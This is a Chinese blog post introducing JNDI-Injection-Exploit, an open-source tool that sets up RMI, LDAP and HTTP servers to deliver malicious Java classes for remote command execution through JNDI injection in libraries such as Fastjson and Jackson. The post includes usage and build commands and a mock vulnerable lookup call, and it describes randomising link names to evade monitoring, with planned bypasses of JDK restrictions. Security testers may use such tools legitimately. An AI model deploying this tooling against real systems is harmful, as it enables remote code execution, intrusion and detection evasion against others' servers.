JNDI-Injection-Exploit

  • 2019 年 10 月 19 日
  • 筆記

介紹

最近把自己之前寫的JNDI注入利用工具改了一下push到了github,地址:https://github.com/welk1n/JNDI-Injection-Exploit,啟動後這個工具開啟了三個服務,包括RMI、LDAP以及HTTP服務,然後生成JNDI鏈接。測試時可以將JNDI鏈接插入到JNDI注入相關的POC中,如Jackson、Fastjson反序列化漏洞等。

三個服務中,RMI和LDAP基於marshalsec中RMIRefServer、LDAPRefServer類修改而成,分別監聽1099及1389埠,HTTPserver提供惡意類的下載功能。

使用

可執行程式為jar包,在命令行中運行以下命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 遠程class文件中要執行的命令。

    (可選項 , 默認命令是mac下打開計算器,即"open /Applications/Calculator.app")

  • -A - 伺服器地址,可以是IP地址或者域名。

    (可選項 , 默認地址是第一個網卡地址)

注意:

  • 要確保 1099、1389、8180埠可用,不被其他程式佔用。

    或者你也可以在run.ServerStart類26~28行更改默認埠。

  • 命令會被作為參數傳入Runtime.getRuntime().exec(),

    所以需要確保命令傳入exec()方法可執行。

示例

本地演示:

  1. 啟動 JNDI-Injection-Exploit:

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1

    截圖:

    image-20191018154346759

  2. 我們需要把第一步中生成的 JNDI鏈接注入到存在漏洞的應用環境中,方便解釋用如下程式碼模仿漏洞環境:

    public static void main(String[] args) throws Exception{      InitialContext ctx = new InitialContext();      ctx.lookup("rmi://127.0.0.1/fgf4fp");  }

    當上面程式碼運行後,應用便會執行相應命令,這裡是彈出計算器,沒截圖,可以自己測一下。

    截圖是工具的server端日誌:

    image-20191018154515787

安裝

下面兩種方法都可以得到Jar包

  1. 從 Realease直接下載最新的Jar。

  2. 把源碼下載到本地然後自行編譯打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+環境下測試可以)

    $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
    $ cd JNDI-Injection-Exploit
    $ mvn clean package -DskipTests

工具實現

簡單寫一點兒工具的實現方式

  1. 首先生成的鏈接後面codebaseClass是6位隨機的,這個是因為不希望讓工具生成的鏈接本身成為一種特徵被監控或攔截。
  2. 伺服器地址實際就是codebase地址,相比於marshalsec中的JNDI server來說,這個工具把JNDI server和HTTP server綁定到一起,並自動啟動HTTP server返回相應class,更自動化或者說更無腦了。
  3. HTTP server基於jetty實現的,其實就是一個能下載文件的servlet,比較有意思的是我提前編譯好class模板放到resource目錄,然後servlet會讀取class文件,使用ASM框架對讀取的位元組碼進行修改,然後插入我們想要執行的命令,返回修改後的位元組碼,這裡其實使用javassist更簡單也方便些,因為引用的RMIRefServer有使用javassist,我純粹是想體驗下ASM的使用,當然從結果上看都一樣的。

待實現

  • 在更高版本的JDK環境中trustURLCodebase變數為false,限制了遠程類的載入,我會找時間把JNDI-Injection-Bypass這個項目的東西融入到本項目中,生成能繞過JDK限制JNDI鏈接。
  • … ...

Tags: